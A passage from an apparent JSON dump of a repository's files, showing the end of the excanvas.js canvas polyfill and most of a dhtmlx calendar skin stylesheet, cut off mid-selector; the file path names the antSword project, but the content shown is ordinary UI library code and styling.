m22, dx, dy) {\n    var m = [\n      [m11, m12, 0],\n      [m21, m22, 0],\n      [dx,  dy,  1]\n    ];\n\n    setM(this, m, true);\n  };\n\n  /******** STUBS ********/\n  contextPrototype.clip = function() {\n    // TODO: Implement\n  };\n\n  contextPrototype.arcTo = function() {\n    // TODO: Implement\n  };\n\n  contextPrototype.createPattern = function() {\n    return new CanvasPattern_;\n  };\n\n  // Gradient / Pattern Stubs\n  function CanvasGradient_(aType) {\n    this.type_ = aType;\n    this.x0_ = 0;\n    this.y0_ = 0;\n    this.r0_ = 0;\n    this.x1_ = 0;\n    this.y1_ = 0;\n    this.r1_ = 0;\n    this.colors_ = [];\n  }\n\n  CanvasGradient_.prototype.addColorStop = function(aOffset, aColor) {\n    aColor = processStyle(aColor);\n    this.colors_.push({offset: aOffset,\n                       color: aColor.color,\n                       alpha: aColor.alpha});\n  };\n\n  function CanvasPattern_() {}\n\n  // set up externs\n  G_vmlCanvasManager = G_vmlCanvasManager_;\n  CanvasRenderingContext2D = CanvasRenderingContext2D_;\n  CanvasGradient = CanvasGradient_;\n  CanvasPattern = CanvasPattern_;\n\n})();\n\n} // if\n\nif (dhtmlx && dhtmlx._modules)\n\tdhtmlx._modules[\"thirdparty/excanvas/excanvas.js\"] = true;"
  },
  {
    "path": "antSword/static/libs/dhtmlx/skins/mytheme/dhtmlx.css",
    "content": "\n\t\t.dhtmlxcalendar_ifr {\n  position: absolute;\n  overflow: hidden;\n  background-color: white;\n}\n.dhtmlxcalendar_dhx_skyblue {\n  position: absolute;\n  display: block;\n  background-color: white;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n}\n.dhtmlxcalendar_dhx_skyblue ul.dhtmlxcalendar_line {\n  position: relative;\n  display: block;\n  clear: both;\n  margin: 0px;\n  padding: 0px;\n  overflow: hidden;\n  width: 211px;\n}\n.dhtmlxcalendar_dhx_skyblue ul.dhtmlxcalendar_line li {\n  float: left;\n  position: relative;\n  list-style-type: none;\n  list-style-image: none;\n  text-align: center;\n  vertical-align: middle;\n  cursor: default;\n  overflow: hidden;\n  margin: 0px;\n  padding: 0px;\n}\n.dhtmlxcalendar_dhx_skyblue.dhtmlxcalendar_in_input {\n  box-shadow: 0 0 6px rgba(0, 0, 0, 0.25);\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_month_cont {\n  position: relative;\n  display: block;\n  width: 211px;\n  height: 25px;\n  margin: 0px;\n  background-color: #ececec;\n  background: linear-gradient(#ececec, #e5e5e5);\n  background: -webkit-linear-gradient(#ececec, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#ececec, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  border: 1px solid #c3c3c3;\n  overflow: hidden;\n  color: #000000;\n  -webkit-user-select: text;\n  -khtml-user-select: text;\n  -moz-user-select: text;\n  -ms-user-select: text;\n  -o-user-select: text;\n  user-select: text;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_month_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_month_hdr {\n  width: 211px;\n  height: 25px;\n  line-height: 25px;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_month_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_month_hdr div.dhtmlxcalendar_month_arrow {\n  position: absolute;\n  top: 0;\n  width: 18px;\n  height: 25px;\n  text-align: center;\n  color: inherit;\n  background-position: center center;\n  background-repeat: no-repeat;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_month_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_month_hdr div.dhtmlxcalendar_month_arrow.dhtmlxcalendar_month_arrow_left {\n  left: 4px;\n  background-image: url(\"imgs/dhxcalendar_skyblue/dhxcalendar_arrow_left.gif\");\n  opacity: 0.8;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=80);\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_month_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_month_hdr div.dhtmlxcalendar_month_arrow.dhtmlxcalendar_month_arrow_left_hover {\n  left: 4px;\n  background-image: url(\"imgs/dhxcalendar_skyblue/dhxcalendar_arrow_left.gif\");\n  opacity: 1;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_month_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_month_hdr div.dhtmlxcalendar_month_arrow.dhtmlxcalendar_month_arrow_right {\n  right: 4px;\n  background-image: url(\"imgs/dhxcalendar_skyblue/dhxcalendar_arrow_right.gif\");\n  opacity: 0.8;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=80);\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_month_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_month_hdr div.dhtmlxcalendar_month_arrow.dhtmlxcalendar_month_arrow_right_hover {\n  right: 4px;\n  background-image: url(\"imgs/dhxcalendar_skyblue/dhxcalendar_arrow_right.gif\");\n  opacity: 1;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_month_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_month_hdr span.dhtmlxcalendar_month_label_month,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_month_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_month_hdr span.dhtmlxcalendar_month_label_year {\n  position: relative;\n  font-weight: bold;\n  color: #333333;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_days_cont {\n  position: relative;\n  display: block;\n  width: 211px;\n  margin: 0px;\n  padding-bottom: 1px;\n  border-left: 1px solid #c3c3c3;\n  border-right: 1px solid #c3c3c3;\n  border-bottom: 1px solid #eaded3;\n  -webkit-user-select: text;\n  -khtml-user-select: text;\n  -moz-user-select: text;\n  -ms-user-select: text;\n  -o-user-select: text;\n  user-select: text;\n  overflow: hidden;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_days_cont ul.dhtmlxcalendar_line {\n  border-top: 1px solid white;\n  padding-left: 1px;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_days_cont ul.dhtmlxcalendar_line li {\n  width: 29px;\n  height: 19px;\n  line-height: 19px;\n  margin-right: 1px;\n  font-size: 9px;\n  background-color: #f2f2f2;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_days_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_day_weekday_cell,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_days_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_day_weekday_cell_first {\n  color: #c66200;\n  background-color: #ffe6ae;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont {\n  position: relative;\n  display: block;\n  width: 211px;\n  margin: 0px;\n  padding-bottom: 1px;\n  border-left: 1px solid #c3c3c3;\n  border-right: 1px solid #c3c3c3;\n  border-bottom: 1px solid #c3c3c3;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  overflow: hidden;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line {\n  border-top: 1px solid white;\n  padding-left: 1px;\n  height: 26px;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li {\n  color: #909090;\n  background-color: white;\n  border: 1px solid white;\n  width: 27px;\n  height: 24px;\n  line-height: 23px;\n  margin-right: 1px;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li div.dhtmlxcalendar_label {\n  width: 100%;\n  height: 100%;\n  text-align: center;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_date,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_date_weekend {\n  border-color: #cccccc;\n  background-color: #f7f7f7;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_dis,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_weekend_dis,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_date_dis,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_date_weekend_dis {\n  color: #b2b2b2;\n  background-color: #f0f0f0;\n  border-color: #f0f0f0;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_holiday,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_weekend_holiday {\n  color: #ff0000;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_date_holiday,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_date_weekend_holiday {\n  color: #ff0000;\n  border-color: #cccccc;\n  background-color: #f7f7f7;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_holiday_dis,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_weekend_holiday_dis,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_date_holiday_dis,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_date_weekend_holiday_dis {\n  color: #ff0000;\n  background-color: #f0f0f0;\n  border-color: #f0f0f0;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_hover,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_weekend_hover,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_date_hover,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_date_weekend_hover {\n  border-color: #cccccc;\n  background-color: #f7f7f7;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_holiday_hover,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_weekend_holiday_hover,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_date_holiday_hover,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_date_weekend_holiday_hover {\n  color: #ff0000;\n  border-color: #cccccc;\n  background-color: #f7f7f7;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month {\n  color: #000000;\n  background-color: #f2f2f2;\n  border-color: #f2f2f2;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_weekend {\n  color: #c66200;\n  background-color: #fff0d2;\n  border-color: #fff0d2;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_date {\n  color: #000000;\n  background-color: #b6d5ff;\n  border-color: #b6d5ff;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_date_weekend {\n  color: #c66200;\n  background-color: #ffdc90;\n  border-color: #ffce65;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_dis,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_weekend_dis,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_date_dis,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_date_weekend_dis {\n  color: #b2b2b2;\n  background-color: #f0f0f0;\n  border-color: #f0f0f0;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_holiday {\n  color: #ff0000;\n  background-color: #f2f2f2;\n  border-color: #f2f2f2;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_weekend_holiday {\n  color: #ff0000;\n  background-color: #fff0d2;\n  border-color: #fff0d2;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_date_holiday {\n  color: #ff0000;\n  background-color: #b6d5ff;\n  border-color: #b6d5ff;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_date_weekend_holiday {\n  color: #ff0000;\n  background-color: #ffdc90;\n  border-color: #ffce65;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_holiday_dis,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_weekend_holiday_dis,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_date_holiday_dis,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_date_weekend_holiday_dis {\n  color: #ff0000;\n  background-color: #f0f0f0;\n  border-color: #f0f0f0;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_hover {\n  color: #000000;\n  background-color: #daeaff;\n  border-color: #b6d5ff;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_weekend_hover {\n  color: #c66200;\n  background-color: #ffe9bb;\n  border-color: #ffce65;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_date_hover {\n  color: #000000;\n  background-color: #b6d5ff;\n  border-color: #b6d5ff;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_date_weekend_hover {\n  color: #c66200;\n  background-color: #ffdc90;\n  border-color: #ffce65;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_holiday_hover {\n  color: #ff0000;\n  background-color: #daeaff;\n  border-color: #b6d5ff;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_weekend_holiday_hover {\n  color: #ff0000;\n  background-color: #ffe9bb;\n  border-color: #ffce65;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_date_holiday_hover {\n  color: #ff0000;\n  background-color: #b6d5ff;\n  border-color: #b6d5ff;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_date_weekend_holiday_hover {\n  color: #ff0000;\n  background-color: #ffdc90;\n  border-color: #ffce65;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line div.dhtmlxcalendar_label.dhtmlxcalendar_label_title {\n  background-image: url(\"imgs/dhxcalendar_skyblue/dhxcalendar_mark.gif\");\n  background-position: top right;\n  background-repeat: no-repeat;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_time_cont {\n  position: relative;\n  display: block;\n  width: 211px;\n  height: 25px;\n  margin: 0px;\n  border-left: 1px solid #c3c3c3;\n  border-right: 1px solid #c3c3c3;\n  border-bottom: 1px solid #c3c3c3;\n  background-color: #ececec;\n  background: linear-gradient(#ececec, #e5e5e5);\n  background: -webkit-linear-gradient(#ececec, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#ececec, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  overflow: hidden;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_time_cont ul.dhtmlxcalendar_line li {\n  width: 211px;\n  height: 25px;\n  line-height: 24px;\n  color: #333333;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_time_cont ul.dhtmlxcalendar_line li div.dhtmlxcalendar_time_img {\n  position: absolute;\n  left: 66px;\n  top: 6px;\n  width: 13px;\n  height: 13px;\n  background-image: url(\"imgs/dhxcalendar_skyblue/dhxcalendar_clock.gif\");\n  background-position: center center;\n  background-repeat: no-repeat;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_cover {\n  position: absolute;\n  left: 1px;\n  background-color: white;\n  opacity: 0.5;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=50);\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj {\n  position: absolute;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj div.dhtmlxcalendar_selector_obj_arrow {\n  position: absolute;\n  bottom: auto;\n  top: 0px;\n  left: 0px;\n  width: 100%;\n  height: 9px;\n  overflow: hidden;\n  background-image: url(\"imgs/dhxcalendar_skyblue/dhxcalendar_selector_top.gif\");\n  background-position: top center;\n  background-repeat: no-repeat;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj table.dhtmlxcalendar_selector_table {\n  border: 1px solid #c3c3c3;\n  background-color: white;\n  border-top: none;\n  margin-top: 9px;\n  box-shadow: 0 0 3px rgba(0, 0, 0, 0.35);\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_left {\n  width: 17px;\n  text-align: center;\n  border-top: 1px solid white;\n  padding: 0px;\n  margin: 0px;\n  background-color: #f2f2f2;\n  background-image: url(\"imgs/dhxcalendar_skyblue/dhxcalendar_arrow_left.gif\");\n  background-position: center center;\n  background-repeat: no-repeat;\n  cursor: default;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_left.dhtmlxcalendar_selector_cell_left_hover {\n  background-image: url(\"imgs/dhxcalendar_skyblue/dhxcalendar_arrow_left.gif\");\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_middle {\n  border-top: white 1px solid;\n  border-width: 1px 0px 0px 0px;\n  cursor: default;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_right {\n  width: 17px;\n  text-align: center;\n  border-top: 1px solid white;\n  border-width: 1px 0px 0px 0px;\n  background-color: #f2f2f2;\n  background-image: url(\"imgs/dhxcalendar_skyblue/dhxcalendar_arrow_right.gif\");\n  background-position: center center;\n  background-repeat: no-repeat;\n  cursor: default;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_right.dhtmlxcalendar_selector_cell_right_hover {\n  background-image: url(\"imgs/dhxcalendar_skyblue/dhxcalendar_arrow_right.gif\");\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_middle ul {\n  display: block;\n  clear: both;\n  margin: 0px 0px 0px 1px;\n  padding: 0px;\n  overflow: hidden;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_middle ul li {\n  float: left;\n  font-family: Tahoma;\n  font-size: 11px;\n  color: #000000;\n  list-style-type: none;\n  list-style-image: none;\n  text-align: center;\n  vertical-align: middle;\n  margin: 0px 1px 0px 0px;\n  padding: 0px;\n  background-color: #eff1f2;\n  border: 1px solid #eff1f2;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  cursor: default;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_middle ul li.dhtmlxcalendar_selector_cell_active {\n  background-color: #b6d5ff;\n  border-color: #b6d5ff;\n  color: #000000;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_middle ul li.dhtmlxcalendar_selector_cell_hover {\n  background-color: #daeaff;\n  border-color: #b6d5ff;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_month table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_left,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_month table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_right {\n  display: none;\n  width: 0px;\n  border: 0px solid white;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_middle ul.dhtmlxcalendar_selector_line {\n  height: 22px;\n  border-top: none;\n  border-bottom: 1px solid white;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_middle ul.dhtmlxcalendar_selector_line li.dhtmlxcalendar_selector_cell {\n  width: 33px;\n  height: 20px;\n  line-height: 19px;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_hours div.dhtmlxcalendar_selector_obj_arrow,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_minutes div.dhtmlxcalendar_selector_obj_arrow {\n  top: auto;\n  bottom: 0px;\n  background-image: url(\"imgs/dhxcalendar_skyblue/dhxcalendar_selector_bottom.gif\");\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_hours table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_middle ul.dhtmlxcalendar_selector_line,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_minutes table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_middle ul.dhtmlxcalendar_selector_line {\n  height: 19px;\n  border-top: none;\n  border-bottom: 1px solid white;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_hours table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_middle ul.dhtmlxcalendar_selector_line li.dhtmlxcalendar_selector_cell,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_minutes table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_middle ul.dhtmlxcalendar_selector_line li.dhtmlxcalendar_selector_cell {\n  width: 21px;\n  height: 17px;\n  line-height: 16px;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_hours table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_left,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_hours table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_right,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_minutes table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_left,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_minutes table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_right {\n  display: none;\n  width: 0px;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_hours table.dhtmlxcalendar_selector_table,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_minutes table.dhtmlxcalendar_selector_table {\n  margin-top: 0px;\n  margin-bottom: 9px;\n  border-top: 1px solid #c3c3c3;\n  border-bottom: none;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj div.dhtmlxcalendar_area_selector_month,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj div.dhtmlxcalendar_area_selector_year,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj div.dhtmlxcalendar_area_selector_hours,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj div.dhtmlxcalendar_area_selector_minutes,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj div.dhtmlxcalendar_area_selector_minutes4,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj div.dhtmlxcalendar_area_selector_minutes5 {\n  display: none;\n}\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_month div.dhtmlxcalendar_area_selector_month,\n.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_year div.dhtmlxcalendar_area_selector_year,\n.dhtmlxcalendar_dhx_skyblue 